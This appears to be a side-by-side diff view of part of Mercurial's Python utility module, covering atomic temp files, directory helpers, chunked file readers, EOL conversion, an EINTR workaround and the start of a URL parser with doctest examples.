2221 self._fp = posixfile(self._tempname, mode)
2221 self._fp = posixfile(self._tempname, mode)
2222 self._checkambig = checkambig
2222 self._checkambig = checkambig
2223
2223
2224 # delegated methods
2224 # delegated methods
2225 self.read = self._fp.read
2225 self.read = self._fp.read
2226 self.write = self._fp.write
2226 self.write = self._fp.write
2227 self.seek = self._fp.seek
2227 self.seek = self._fp.seek
2228 self.tell = self._fp.tell
2228 self.tell = self._fp.tell
2229 self.fileno = self._fp.fileno
2229 self.fileno = self._fp.fileno
2230
2230
2231 def close(self):
2231 def close(self):
2232 if not self._fp.closed:
2232 if not self._fp.closed:
2233 self._fp.close()
2233 self._fp.close()
2234 filename = localpath(self.__name)
2234 filename = localpath(self.__name)
2235 oldstat = self._checkambig and filestat.frompath(filename)
2235 oldstat = self._checkambig and filestat.frompath(filename)
2236 if oldstat and oldstat.stat:
2236 if oldstat and oldstat.stat:
2237 rename(self._tempname, filename)
2237 rename(self._tempname, filename)
2238 newstat = filestat.frompath(filename)
2238 newstat = filestat.frompath(filename)
2239 if newstat.isambig(oldstat):
2239 if newstat.isambig(oldstat):
2240 # stat of changed file is ambiguous to original one
2240 # stat of changed file is ambiguous to original one
2241 advanced = (oldstat.stat[stat.ST_MTIME] + 1) & 0x7fffffff
2241 advanced = (oldstat.stat[stat.ST_MTIME] + 1) & 0x7fffffff
2242 os.utime(filename, (advanced, advanced))
2242 os.utime(filename, (advanced, advanced))
2243 else:
2243 else:
2244 rename(self._tempname, filename)
2244 rename(self._tempname, filename)
2245
2245
2246 def discard(self):
2246 def discard(self):
2247 if not self._fp.closed:
2247 if not self._fp.closed:
2248 try:
2248 try:
2249 os.unlink(self._tempname)
2249 os.unlink(self._tempname)
2250 except OSError:
2250 except OSError:
2251 pass
2251 pass
2252 self._fp.close()
2252 self._fp.close()
2253
2253
2254 def __del__(self):
2254 def __del__(self):
2255 if safehasattr(self, '_fp'): # constructor actually did something
2255 if safehasattr(self, '_fp'): # constructor actually did something
2256 self.discard()
2256 self.discard()
2257
2257
2258 def __enter__(self):
2258 def __enter__(self):
2259 return self
2259 return self
2260
2260
2261 def __exit__(self, exctype, excvalue, traceback):
2261 def __exit__(self, exctype, excvalue, traceback):
2262 if exctype is not None:
2262 if exctype is not None:
2263 self.discard()
2263 self.discard()
2264 else:
2264 else:
2265 self.close()
2265 self.close()
2266
2266
2267 def unlinkpath(f, ignoremissing=False, rmdir=True):
2267 def unlinkpath(f, ignoremissing=False, rmdir=True):
2268 """unlink and remove the directory if it is empty"""
2268 """unlink and remove the directory if it is empty"""
2269 if ignoremissing:
2269 if ignoremissing:
2270 tryunlink(f)
2270 tryunlink(f)
2271 else:
2271 else:
2272 unlink(f)
2272 unlink(f)
2273 if rmdir:
2273 if rmdir:
2274 # try removing directories that might now be empty
2274 # try removing directories that might now be empty
2275 try:
2275 try:
2276 removedirs(os.path.dirname(f))
2276 removedirs(os.path.dirname(f))
2277 except OSError:
2277 except OSError:
2278 pass
2278 pass
2279
2279
2280 def tryunlink(f):
2280 def tryunlink(f):
2281 """Attempt to remove a file, ignoring ENOENT errors."""
2281 """Attempt to remove a file, ignoring ENOENT errors."""
2282 try:
2282 try:
2283 unlink(f)
2283 unlink(f)
2284 except OSError as e:
2284 except OSError as e:
2285 if e.errno != errno.ENOENT:
2285 if e.errno != errno.ENOENT:
2286 raise
2286 raise
2287
2287
2288 def makedirs(name, mode=None, notindexed=False):
2288 def makedirs(name, mode=None, notindexed=False):
2289 """recursive directory creation with parent mode inheritance
2289 """recursive directory creation with parent mode inheritance
2290
2290
2291 Newly created directories are marked as "not to be indexed by
2291 Newly created directories are marked as "not to be indexed by
2292 the content indexing service", if ``notindexed`` is specified
2292 the content indexing service", if ``notindexed`` is specified
2293 for "write" mode access.
2293 for "write" mode access.
2294 """
2294 """
2295 try:
2295 try:
2296 makedir(name, notindexed)
2296 makedir(name, notindexed)
2297 except OSError as err:
2297 except OSError as err:
2298 if err.errno == errno.EEXIST:
2298 if err.errno == errno.EEXIST:
2299 return
2299 return
2300 if err.errno != errno.ENOENT or not name:
2300 if err.errno != errno.ENOENT or not name:
2301 raise
2301 raise
2302 parent = os.path.dirname(os.path.abspath(name))
2302 parent = os.path.dirname(os.path.abspath(name))
2303 if parent == name:
2303 if parent == name:
2304 raise
2304 raise
2305 makedirs(parent, mode, notindexed)
2305 makedirs(parent, mode, notindexed)
2306 try:
2306 try:
2307 makedir(name, notindexed)
2307 makedir(name, notindexed)
2308 except OSError as err:
2308 except OSError as err:
2309 # Catch EEXIST to handle races
2309 # Catch EEXIST to handle races
2310 if err.errno == errno.EEXIST:
2310 if err.errno == errno.EEXIST:
2311 return
2311 return
2312 raise
2312 raise
2313 if mode is not None:
2313 if mode is not None:
2314 os.chmod(name, mode)
2314 os.chmod(name, mode)
2315
2315
2316 def readfile(path):
2316 def readfile(path):
2317 with open(path, 'rb') as fp:
2317 with open(path, 'rb') as fp:
2318 return fp.read()
2318 return fp.read()
2319
2319
2320 def writefile(path, text):
2320 def writefile(path, text):
2321 with open(path, 'wb') as fp:
2321 with open(path, 'wb') as fp:
2322 fp.write(text)
2322 fp.write(text)
2323
2323
2324 def appendfile(path, text):
2324 def appendfile(path, text):
2325 with open(path, 'ab') as fp:
2325 with open(path, 'ab') as fp:
2326 fp.write(text)
2326 fp.write(text)
2327
2327
2328 class chunkbuffer(object):
2328 class chunkbuffer(object):
2329 """Allow arbitrary sized chunks of data to be efficiently read from an
2329 """Allow arbitrary sized chunks of data to be efficiently read from an
2330 iterator over chunks of arbitrary size."""
2330 iterator over chunks of arbitrary size."""
2331
2331
2332 def __init__(self, in_iter):
2332 def __init__(self, in_iter):
2333 """in_iter is the iterator that's iterating over the input chunks."""
2333 """in_iter is the iterator that's iterating over the input chunks."""
2334 def splitbig(chunks):
2334 def splitbig(chunks):
2335 for chunk in chunks:
2335 for chunk in chunks:
2336 if len(chunk) > 2**20:
2336 if len(chunk) > 2**20:
2337 pos = 0
2337 pos = 0
2338 while pos < len(chunk):
2338 while pos < len(chunk):
2339 end = pos + 2 ** 18
2339 end = pos + 2 ** 18
2340 yield chunk[pos:end]
2340 yield chunk[pos:end]
2341 pos = end
2341 pos = end
2342 else:
2342 else:
2343 yield chunk
2343 yield chunk
2344 self.iter = splitbig(in_iter)
2344 self.iter = splitbig(in_iter)
2345 self._queue = collections.deque()
2345 self._queue = collections.deque()
2346 self._chunkoffset = 0
2346 self._chunkoffset = 0
2347
2347
2348 def read(self, l=None):
2348 def read(self, l=None):
2349 """Read L bytes of data from the iterator of chunks of data.
2349 """Read L bytes of data from the iterator of chunks of data.
2350 Returns less than L bytes if the iterator runs dry.
2350 Returns less than L bytes if the iterator runs dry.
2351
2351
2352 If size parameter is omitted, read everything"""
2352 If size parameter is omitted, read everything"""
2353 if l is None:
2353 if l is None:
2354 return ''.join(self.iter)
2354 return ''.join(self.iter)
2355
2355
2356 left = l
2356 left = l
2357 buf = []
2357 buf = []
2358 queue = self._queue
2358 queue = self._queue
2359 while left > 0:
2359 while left > 0:
2360 # refill the queue
2360 # refill the queue
2361 if not queue:
2361 if not queue:
2362 target = 2**18
2362 target = 2**18
2363 for chunk in self.iter:
2363 for chunk in self.iter:
2364 queue.append(chunk)
2364 queue.append(chunk)
2365 target -= len(chunk)
2365 target -= len(chunk)
2366 if target <= 0:
2366 if target <= 0:
2367 break
2367 break
2368 if not queue:
2368 if not queue:
2369 break
2369 break
2370
2370
2371 # The easy way to do this would be to queue.popleft(), modify the
2371 # The easy way to do this would be to queue.popleft(), modify the
2372 # chunk (if necessary), then queue.appendleft(). However, for cases
2372 # chunk (if necessary), then queue.appendleft(). However, for cases
2373 # where we read partial chunk content, this incurs 2 dequeue
2373 # where we read partial chunk content, this incurs 2 dequeue
2374 # mutations and creates a new str for the remaining chunk in the
2374 # mutations and creates a new str for the remaining chunk in the
2375 # queue. Our code below avoids this overhead.
2375 # queue. Our code below avoids this overhead.
2376
2376
2377 chunk = queue[0]
2377 chunk = queue[0]
2378 chunkl = len(chunk)
2378 chunkl = len(chunk)
2379 offset = self._chunkoffset
2379 offset = self._chunkoffset
2380
2380
2381 # Use full chunk.
2381 # Use full chunk.
2382 if offset == 0 and left >= chunkl:
2382 if offset == 0 and left >= chunkl:
2383 left -= chunkl
2383 left -= chunkl
2384 queue.popleft()
2384 queue.popleft()
2385 buf.append(chunk)
2385 buf.append(chunk)
2386 # self._chunkoffset remains at 0.
2386 # self._chunkoffset remains at 0.
2387 continue
2387 continue
2388
2388
2389 chunkremaining = chunkl - offset
2389 chunkremaining = chunkl - offset
2390
2390
2391 # Use all of unconsumed part of chunk.
2391 # Use all of unconsumed part of chunk.
2392 if left >= chunkremaining:
2392 if left >= chunkremaining:
2393 left -= chunkremaining
2393 left -= chunkremaining
2394 queue.popleft()
2394 queue.popleft()
2395 # offset == 0 is enabled by block above, so this won't merely
2395 # offset == 0 is enabled by block above, so this won't merely
2396 # copy via ``chunk[0:]``.
2396 # copy via ``chunk[0:]``.
2397 buf.append(chunk[offset:])
2397 buf.append(chunk[offset:])
2398 self._chunkoffset = 0
2398 self._chunkoffset = 0
2399
2399
2400 # Partial chunk needed.
2400 # Partial chunk needed.
2401 else:
2401 else:
2402 buf.append(chunk[offset:offset + left])
2402 buf.append(chunk[offset:offset + left])
2403 self._chunkoffset += left
2403 self._chunkoffset += left
2404 left -= chunkremaining
2404 left -= chunkremaining
2405
2405
2406 return ''.join(buf)
2406 return ''.join(buf)
2407
2407
2408 def filechunkiter(f, size=131072, limit=None):
2408 def filechunkiter(f, size=131072, limit=None):
2409 """Create a generator that produces the data in the file size
2409 """Create a generator that produces the data in the file size
2410 (default 131072) bytes at a time, up to optional limit (default is
2410 (default 131072) bytes at a time, up to optional limit (default is
2411 to read all data). Chunks may be less than size bytes if the
2411 to read all data). Chunks may be less than size bytes if the
2412 chunk is the last chunk in the file, or the file is a socket or
2412 chunk is the last chunk in the file, or the file is a socket or
2413 some other type of file that sometimes reads less data than is
2413 some other type of file that sometimes reads less data than is
2414 requested."""
2414 requested."""
2415 assert size >= 0
2415 assert size >= 0
2416 assert limit is None or limit >= 0
2416 assert limit is None or limit >= 0
2417 while True:
2417 while True:
2418 if limit is None:
2418 if limit is None:
2419 nbytes = size
2419 nbytes = size
2420 else:
2420 else:
2421 nbytes = min(limit, size)
2421 nbytes = min(limit, size)
2422 s = nbytes and f.read(nbytes)
2422 s = nbytes and f.read(nbytes)
2423 if not s:
2423 if not s:
2424 break
2424 break
2425 if limit:
2425 if limit:
2426 limit -= len(s)
2426 limit -= len(s)
2427 yield s
2427 yield s
2428
2428
2429 class cappedreader(object):
2429 class cappedreader(object):
2430 """A file object proxy that allows reading up to N bytes.
2430 """A file object proxy that allows reading up to N bytes.
2431
2431
2432 Given a source file object, instances of this type allow reading up to
2432 Given a source file object, instances of this type allow reading up to
2433 N bytes from that source file object. Attempts to read past the allowed
2433 N bytes from that source file object. Attempts to read past the allowed
2434 limit are treated as EOF.
2434 limit are treated as EOF.
2435
2435
2436 It is assumed that I/O is not performed on the original file object
2436 It is assumed that I/O is not performed on the original file object
2437 in addition to I/O that is performed by this instance. If there is,
2437 in addition to I/O that is performed by this instance. If there is,
2438 state tracking will get out of sync and unexpected results will ensue.
2438 state tracking will get out of sync and unexpected results will ensue.
2439 """
2439 """
2440 def __init__(self, fh, limit):
2440 def __init__(self, fh, limit):
2441 """Allow reading up to <limit> bytes from <fh>."""
2441 """Allow reading up to <limit> bytes from <fh>."""
2442 self._fh = fh
2442 self._fh = fh
2443 self._left = limit
2443 self._left = limit
2444
2444
2445 def read(self, n=-1):
2445 def read(self, n=-1):
2446 if not self._left:
2446 if not self._left:
2447 return b''
2447 return b''
2448
2448
2449 if n < 0:
2449 if n < 0:
2450 n = self._left
2450 n = self._left
2451
2451
2452 data = self._fh.read(min(n, self._left))
2452 data = self._fh.read(min(n, self._left))
2453 self._left -= len(data)
2453 self._left -= len(data)
2454 assert self._left >= 0
2454 assert self._left >= 0
2455
2455
2456 return data
2456 return data
2457
2457
2458 def readinto(self, b):
2458 def readinto(self, b):
2459 res = self.read(len(b))
2459 res = self.read(len(b))
2460 if res is None:
2460 if res is None:
2461 return None
2461 return None
2462
2462
2463 b[0:len(res)] = res
2463 b[0:len(res)] = res
2464 return len(res)
2464 return len(res)
2465
2465
2466 def unitcountfn(*unittable):
2466 def unitcountfn(*unittable):
2467 '''return a function that renders a readable count of some quantity'''
2467 '''return a function that renders a readable count of some quantity'''
2468
2468
2469 def go(count):
2469 def go(count):
2470 for multiplier, divisor, format in unittable:
2470 for multiplier, divisor, format in unittable:
2471 if abs(count) >= divisor * multiplier:
2471 if abs(count) >= divisor * multiplier:
2472 return format % (count / float(divisor))
2472 return format % (count / float(divisor))
2473 return unittable[-1][2] % count
2473 return unittable[-1][2] % count
2474
2474
2475 return go
2475 return go
2476
2476
2477 def processlinerange(fromline, toline):
2477 def processlinerange(fromline, toline):
2478 """Check that linerange <fromline>:<toline> makes sense and return a
2478 """Check that linerange <fromline>:<toline> makes sense and return a
2479 0-based range.
2479 0-based range.
2480
2480
2481 >>> processlinerange(10, 20)
2481 >>> processlinerange(10, 20)
2482 (9, 20)
2482 (9, 20)
2483 >>> processlinerange(2, 1)
2483 >>> processlinerange(2, 1)
2484 Traceback (most recent call last):
2484 Traceback (most recent call last):
2485 ...
2485 ...
2486 ParseError: line range must be positive
2486 ParseError: line range must be positive
2487 >>> processlinerange(0, 5)
2487 >>> processlinerange(0, 5)
2488 Traceback (most recent call last):
2488 Traceback (most recent call last):
2489 ...
2489 ...
2490 ParseError: fromline must be strictly positive
2490 ParseError: fromline must be strictly positive
2491 """
2491 """
2492 if toline - fromline < 0:
2492 if toline - fromline < 0:
2493 raise error.ParseError(_("line range must be positive"))
2493 raise error.ParseError(_("line range must be positive"))
2494 if fromline < 1:
2494 if fromline < 1:
2495 raise error.ParseError(_("fromline must be strictly positive"))
2495 raise error.ParseError(_("fromline must be strictly positive"))
2496 return fromline - 1, toline
2496 return fromline - 1, toline
2497
2497
2498 bytecount = unitcountfn(
2498 bytecount = unitcountfn(
2499 (100, 1 << 30, _('%.0f GB')),
2499 (100, 1 << 30, _('%.0f GB')),
2500 (10, 1 << 30, _('%.1f GB')),
2500 (10, 1 << 30, _('%.1f GB')),
2501 (1, 1 << 30, _('%.2f GB')),
2501 (1, 1 << 30, _('%.2f GB')),
2502 (100, 1 << 20, _('%.0f MB')),
2502 (100, 1 << 20, _('%.0f MB')),
2503 (10, 1 << 20, _('%.1f MB')),
2503 (10, 1 << 20, _('%.1f MB')),
2504 (1, 1 << 20, _('%.2f MB')),
2504 (1, 1 << 20, _('%.2f MB')),
2505 (100, 1 << 10, _('%.0f KB')),
2505 (100, 1 << 10, _('%.0f KB')),
2506 (10, 1 << 10, _('%.1f KB')),
2506 (10, 1 << 10, _('%.1f KB')),
2507 (1, 1 << 10, _('%.2f KB')),
2507 (1, 1 << 10, _('%.2f KB')),
2508 (1, 1, _('%.0f bytes')),
2508 (1, 1, _('%.0f bytes')),
2509 )
2509 )
2510
2510
2511 class transformingwriter(object):
2511 class transformingwriter(object):
2512 """Writable file wrapper to transform data by function"""
2512 """Writable file wrapper to transform data by function"""
2513
2513
2514 def __init__(self, fp, encode):
2514 def __init__(self, fp, encode):
2515 self._fp = fp
2515 self._fp = fp
2516 self._encode = encode
2516 self._encode = encode
2517
2517
2518 def close(self):
2518 def close(self):
2519 self._fp.close()
2519 self._fp.close()
2520
2520
2521 def flush(self):
2521 def flush(self):
2522 self._fp.flush()
2522 self._fp.flush()
2523
2523
2524 def write(self, data):
2524 def write(self, data):
2525 return self._fp.write(self._encode(data))
2525 return self._fp.write(self._encode(data))
2526
2526
2527 # Matches a single EOL which can either be a CRLF where repeated CR
2527 # Matches a single EOL which can either be a CRLF where repeated CR
2528 # are removed or a LF. We do not care about old Macintosh files, so a
2528 # are removed or a LF. We do not care about old Macintosh files, so a
2529 # stray CR is an error.
2529 # stray CR is an error.
2530 _eolre = remod.compile(br'\r*\n')
2530 _eolre = remod.compile(br'\r*\n')
2531
2531
2532 def tolf(s):
2532 def tolf(s):
2533 return _eolre.sub('\n', s)
2533 return _eolre.sub('\n', s)
2534
2534
2535 def tocrlf(s):
2535 def tocrlf(s):
2536 return _eolre.sub('\r\n', s)
2536 return _eolre.sub('\r\n', s)
2537
2537
2538 def _crlfwriter(fp):
2538 def _crlfwriter(fp):
2539 return transformingwriter(fp, tocrlf)
2539 return transformingwriter(fp, tocrlf)
2540
2540
2541 if pycompat.oslinesep == '\r\n':
2541 if pycompat.oslinesep == '\r\n':
2542 tonativeeol = tocrlf
2542 tonativeeol = tocrlf
2543 fromnativeeol = tolf
2543 fromnativeeol = tolf
2544 nativeeolwriter = _crlfwriter
2544 nativeeolwriter = _crlfwriter
2545 else:
2545 else:
2546 tonativeeol = pycompat.identity
2546 tonativeeol = pycompat.identity
2547 fromnativeeol = pycompat.identity
2547 fromnativeeol = pycompat.identity
2548 nativeeolwriter = pycompat.identity
2548 nativeeolwriter = pycompat.identity
2549
2549
2550 if (pyplatform.python_implementation() == 'CPython' and
2550 if (pyplatform.python_implementation() == 'CPython' and
2551 sys.version_info < (3, 0)):
2551 sys.version_info < (3, 0)):
2552 # There is an issue in CPython that some IO methods do not handle EINTR
2552 # There is an issue in CPython that some IO methods do not handle EINTR
2553 # correctly. The following table shows what CPython version (and functions)
2553 # correctly. The following table shows what CPython version (and functions)
2554 # are affected (buggy: has the EINTR bug, okay: otherwise):
2554 # are affected (buggy: has the EINTR bug, okay: otherwise):
2555 #
2555 #
2556 # | < 2.7.4 | 2.7.4 to 2.7.12 | >= 3.0
2556 # | < 2.7.4 | 2.7.4 to 2.7.12 | >= 3.0
2557 # --------------------------------------------------
2557 # --------------------------------------------------
2558 # fp.__iter__ | buggy | buggy | okay
2558 # fp.__iter__ | buggy | buggy | okay
2559 # fp.read* | buggy | okay [1] | okay
2559 # fp.read* | buggy | okay [1] | okay
2560 #
2560 #
2561 # [1]: fixed by changeset 67dc99a989cd in the cpython hg repo.
2561 # [1]: fixed by changeset 67dc99a989cd in the cpython hg repo.
2562 #
2562 #
2563 # Here we workaround the EINTR issue for fileobj.__iter__. Other methods
2563 # Here we workaround the EINTR issue for fileobj.__iter__. Other methods
2564 # like "read*" are ignored for now, as Python < 2.7.4 is a minority.
2564 # like "read*" are ignored for now, as Python < 2.7.4 is a minority.
2565 #
2565 #
2566 # Although we can workaround the EINTR issue for fp.__iter__, it is slower:
2566 # Although we can workaround the EINTR issue for fp.__iter__, it is slower:
2567 # "for x in fp" is 4x faster than "for x in iter(fp.readline, '')" in
2567 # "for x in fp" is 4x faster than "for x in iter(fp.readline, '')" in
2568 # CPython 2, because CPython 2 maintains an internal readahead buffer for
2568 # CPython 2, because CPython 2 maintains an internal readahead buffer for
2569 # fp.__iter__ but not other fp.read* methods.
2569 # fp.__iter__ but not other fp.read* methods.
2570 #
2570 #
2571 # On modern systems like Linux, the "read" syscall cannot be interrupted
2571 # On modern systems like Linux, the "read" syscall cannot be interrupted
2572 # when reading "fast" files like on-disk files. So the EINTR issue only
2572 # when reading "fast" files like on-disk files. So the EINTR issue only
2573 # affects things like pipes, sockets, ttys etc. We treat "normal" (S_ISREG)
2573 # affects things like pipes, sockets, ttys etc. We treat "normal" (S_ISREG)
2574 # files approximately as "fast" files and use the fast (unsafe) code path,
2574 # files approximately as "fast" files and use the fast (unsafe) code path,
2575 # to minimize the performance impact.
2575 # to minimize the performance impact.
2576 if sys.version_info >= (2, 7, 4):
2576 if sys.version_info >= (2, 7, 4):
2577 # fp.readline deals with EINTR correctly, use it as a workaround.
2577 # fp.readline deals with EINTR correctly, use it as a workaround.
2578 def _safeiterfile(fp):
2578 def _safeiterfile(fp):
2579 return iter(fp.readline, '')
2579 return iter(fp.readline, '')
2580 else:
2580 else:
2581 # fp.read* are broken too, manually deal with EINTR in a stupid way.
2581 # fp.read* are broken too, manually deal with EINTR in a stupid way.
2582 # note: this may block longer than necessary because of bufsize.
2582 # note: this may block longer than necessary because of bufsize.
2583 def _safeiterfile(fp, bufsize=4096):
2583 def _safeiterfile(fp, bufsize=4096):
2584 fd = fp.fileno()
2584 fd = fp.fileno()
2585 line = ''
2585 line = ''
2586 while True:
2586 while True:
2587 try:
2587 try:
2588 buf = os.read(fd, bufsize)
2588 buf = os.read(fd, bufsize)
2589 except OSError as ex:
2589 except OSError as ex:
2590 # os.read only raises EINTR before any data is read
2590 # os.read only raises EINTR before any data is read
2591 if ex.errno == errno.EINTR:
2591 if ex.errno == errno.EINTR:
2592 continue
2592 continue
2593 else:
2593 else:
2594 raise
2594 raise
2595 line += buf
2595 line += buf
2596 if '\n' in buf:
2596 if '\n' in buf:
2597 splitted = line.splitlines(True)
2597 splitted = line.splitlines(True)
2598 line = ''
2598 line = ''
2599 for l in splitted:
2599 for l in splitted:
2600 if l[-1] == '\n':
2600 if l[-1] == '\n':
2601 yield l
2601 yield l
2602 else:
2602 else:
2603 line = l
2603 line = l
2604 if not buf:
2604 if not buf:
2605 break
2605 break
2606 if line:
2606 if line:
2607 yield line
2607 yield line
2608
2608
2609 def iterfile(fp):
2609 def iterfile(fp):
2610 fastpath = True
2610 fastpath = True
2611 if type(fp) is file:
2611 if type(fp) is file:
2612 fastpath = stat.S_ISREG(os.fstat(fp.fileno()).st_mode)
2612 fastpath = stat.S_ISREG(os.fstat(fp.fileno()).st_mode)
2613 if fastpath:
2613 if fastpath:
2614 return fp
2614 return fp
2615 else:
2615 else:
2616 return _safeiterfile(fp)
2616 return _safeiterfile(fp)
2617 else:
2617 else:
2618 # PyPy and CPython 3 do not have the EINTR issue thus no workaround needed.
2618 # PyPy and CPython 3 do not have the EINTR issue thus no workaround needed.
2619 def iterfile(fp):
2619 def iterfile(fp):
2620 return fp
2620 return fp
2621
2621
2622 def iterlines(iterator):
2622 def iterlines(iterator):
2623 for chunk in iterator:
2623 for chunk in iterator:
2624 for line in chunk.splitlines():
2624 for line in chunk.splitlines():
2625 yield line
2625 yield line
2626
2626
2627 def expandpath(path):
2627 def expandpath(path):
2628 return os.path.expanduser(os.path.expandvars(path))
2628 return os.path.expanduser(os.path.expandvars(path))
2629
2629
2630 def interpolate(prefix, mapping, s, fn=None, escape_prefix=False):
2630 def interpolate(prefix, mapping, s, fn=None, escape_prefix=False):
2631 """Return the result of interpolating items in the mapping into string s.
2631 """Return the result of interpolating items in the mapping into string s.
2632
2632
2633 prefix is a single character string, or a two character string with
2633 prefix is a single character string, or a two character string with
2634 a backslash as the first character if the prefix needs to be escaped in
2634 a backslash as the first character if the prefix needs to be escaped in
2635 a regular expression.
2635 a regular expression.
2636
2636
2637 fn is an optional function that will be applied to the replacement text
2637 fn is an optional function that will be applied to the replacement text
2638 just before replacement.
2638 just before replacement.
2639
2639
2640 escape_prefix is an optional flag that allows using doubled prefix for
2640 escape_prefix is an optional flag that allows using doubled prefix for
2641 its escaping.
2641 its escaping.
2642 """
2642 """
2643 fn = fn or (lambda s: s)
2643 fn = fn or (lambda s: s)
2644 patterns = '|'.join(mapping.keys())
2644 patterns = '|'.join(mapping.keys())
2645 if escape_prefix:
2645 if escape_prefix:
2646 patterns += '|' + prefix
2646 patterns += '|' + prefix
2647 if len(prefix) > 1:
2647 if len(prefix) > 1:
2648 prefix_char = prefix[1:]
2648 prefix_char = prefix[1:]
2649 else:
2649 else:
2650 prefix_char = prefix
2650 prefix_char = prefix
2651 mapping[prefix_char] = prefix_char
2651 mapping[prefix_char] = prefix_char
2652 r = remod.compile(br'%s(%s)' % (prefix, patterns))
2652 r = remod.compile(br'%s(%s)' % (prefix, patterns))
2653 return r.sub(lambda x: fn(mapping[x.group()[1:]]), s)
2653 return r.sub(lambda x: fn(mapping[x.group()[1:]]), s)
2654
2654
2655 def getport(port):
2655 def getport(port):
2656 """Return the port for a given network service.
2656 """Return the port for a given network service.
2657
2657
2658 If port is an integer, it's returned as is. If it's a string, it's
2658 If port is an integer, it's returned as is. If it's a string, it's
2659 looked up using socket.getservbyname(). If there's no matching
2659 looked up using socket.getservbyname(). If there's no matching
2660 service, error.Abort is raised.
2660 service, error.Abort is raised.
2661 """
2661 """
2662 try:
2662 try:
2663 return int(port)
2663 return int(port)
2664 except ValueError:
2664 except ValueError:
2665 pass
2665 pass
2666
2666
2667 try:
2667 try:
2668 return socket.getservbyname(pycompat.sysstr(port))
2668 return socket.getservbyname(pycompat.sysstr(port))
2669 except socket.error:
2669 except socket.error:
2670 raise error.Abort(_("no port number associated with service '%s'")
2670 raise error.Abort(_("no port number associated with service '%s'")
2671 % port)
2671 % port)
2672
2672
2673 class url(object):
2673 class url(object):
2674 r"""Reliable URL parser.
2674 r"""Reliable URL parser.
2675
2675
2676 This parses URLs and provides attributes for the following
2676 This parses URLs and provides attributes for the following
2677 components:
2677 components:
2678
2678
2679 <scheme>://<user>:<passwd>@<host>:<port>/<path>?<query>#<fragment>
2679 <scheme>://<user>:<passwd>@<host>:<port>/<path>?<query>#<fragment>
2680
2680
2681 Missing components are set to None. The only exception is
2681 Missing components are set to None. The only exception is
2682 fragment, which is set to '' if present but empty.
2682 fragment, which is set to '' if present but empty.
2683
2683
2684 If parsefragment is False, fragment is included in query. If
2684 If parsefragment is False, fragment is included in query. If
2685 parsequery is False, query is included in path. If both are
2685 parsequery is False, query is included in path. If both are
2686 False, both fragment and query are included in path.
2686 False, both fragment and query are included in path.
2687
2687
2688 See http://www.ietf.org/rfc/rfc2396.txt for more information.
2688 See http://www.ietf.org/rfc/rfc2396.txt for more information.
2689
2689
2690 Note that for backward compatibility reasons, bundle URLs do not
2690 Note that for backward compatibility reasons, bundle URLs do not
2691 take host names. That means 'bundle://../' has a path of '../'.
2691 take host names. That means 'bundle://../' has a path of '../'.
2692
2692
2693 Examples:
2693 Examples:
2694
2694
2695 >>> url(b'http://www.ietf.org/rfc/rfc2396.txt')
2695 >>> url(b'http://www.ietf.org/rfc/rfc2396.txt')
2696 <url scheme: 'http', host: 'www.ietf.org', path: 'rfc/rfc2396.txt'>
2696 <url scheme: 'http', host: 'www.ietf.org', path: 'rfc/rfc2396.txt'>
2697 >>> url(b'ssh://[::1]:2200//home/joe/repo')
2697 >>> url(b'ssh://[::1]:2200//home/joe/repo')
2698 <url scheme: 'ssh', host: '[::1]', port: '2200', path: '/home/joe/repo'>
2698 <url scheme: 'ssh', host: '[::1]', port: '2200', path: '/home/joe/repo'>
2699 >>> url(b'file:///home/joe/repo')
2699 >>> url(b'file:///home/joe/repo')
2700 <url scheme: 'file', path: '/home/joe/repo'>
2700 <url scheme: 'file', path: '/home/joe/repo'>
2701 >>> url(b'file:///c:/temp/foo/')
2701 >>> url(b'file:///c:/temp/foo/')
2702 <url scheme: 'file', path: 'c:/temp/foo/'>
2702 <url scheme: 'file', path: 'c:/temp/foo/'>
2703 >>> url(b'bundle:foo')
2703 >>> url(b'bundle:foo')
2704 <url scheme: 'bundle', path: 'foo'>
2704 <url scheme: 'bundle', path: 'foo'>
2705 >>> url(b'bundle://../foo')
2705 >>> url(b'bundle://../foo')
2706 <url scheme: 'bundle', path: '../foo'>
2706 <url scheme: 'bundle', path: '../foo'>
2707 >>> url(br'c:\foo\bar')
2707 >>> url(br'c:\foo\bar')
2708 <url path: 'c:\\foo\\bar'>
2708 <url path: 'c:\\foo\\bar'>
2709 >>> url(br'\\blah\blah\blah')
2709 >>> url(br'\\blah\blah\blah')
2710 <url path: '\\\\blah\\blah\\blah'>
2710 <url path: '\\\\blah\\blah\\blah'>
2711 >>> url(br'\\blah\blah\blah#baz')
2711 >>> url(br'\\blah\blah\blah#baz')
2712 <url path: '\\\\blah\\blah\\blah', fragment: 'baz'>
2712 <url path: '\\\\blah\\blah\\blah', fragment: 'baz'>
2713 >>> url(br'file:///C:\users\me')
2713 >>> url(br'file:///C:\users\me')
2714 <url scheme: 'file', path: 'C:\\users\\me'>
2714 <url scheme: 'file', path: 'C:\\users\\me'>
2715
2715
2716 Authentication credentials:
2716 Authentication credentials:
2717
2717
2718 >>> url(b'ssh://joe:xyz@x/repo')
2718 >>> url(b'ssh://joe:xyz@x/repo')
2719 <url scheme: 'ssh', user: 'joe', passwd: 'xyz', host: 'x', path: 'repo'>
2719 <url scheme: 'ssh', user: 'joe', passwd: 'xyz', host: 'x', path: 'repo'>
2720 >>> url(b'ssh://joe@x/repo')
2720 >>> url(b'ssh://joe@x/repo')
2721 <url scheme: 'ssh', user: 'joe', host: 'x', path: 'repo'>
2721 <url scheme: 'ssh', user: 'joe', host: 'x', path: 'repo'>
2722
2722
2723 Query strings and fragments:
2723 Query strings and fragments:
2724
2724
2725 >>> url(b'http://host/a?b#c')
2725 >>> url(b'http://host/a?b#c')
2726 <url scheme: 'http', host: 'host', path: 'a', query: 'b', fragment: 'c'>
2726 <url scheme: 'http', host: 'host', path: 'a', query: 'b', fragment: 'c'>
2727 >>> url(b'http://host/a?b#c', parsequery=False, parsefragment=False)
2727 >>> url(b'http://host/a?b#c', parsequery=False, parsefragment=False)
2728 <url scheme: 'http', host: 'host', path: 'a?b#c'>
2728 <url scheme: 'http', host: 'host', path: 'a?b#c'>
2729
2729
2730 Empty path:
2730 Empty path:
2731
2731
2732 >>> url(b'')
2732 >>> url(b'')
2733 <url path: ''>
2733 <url path: ''>
2734 >>> url(b'#a')
2734 >>> url(b'#a')
2735 <url path: '', fragment: 'a'>
2735 <url path: '', fragment: 'a'>
2736 >>> url(b'http://host/')
2736 >>> url(b'http://host/')
2737 <url scheme: 'http', host: 'host', path: ''>
2737 <url scheme: 'http', host: 'host', path: ''>
2738 >>> url(b'http://host/#a')
2738 >>> url(b'http://host/#a')
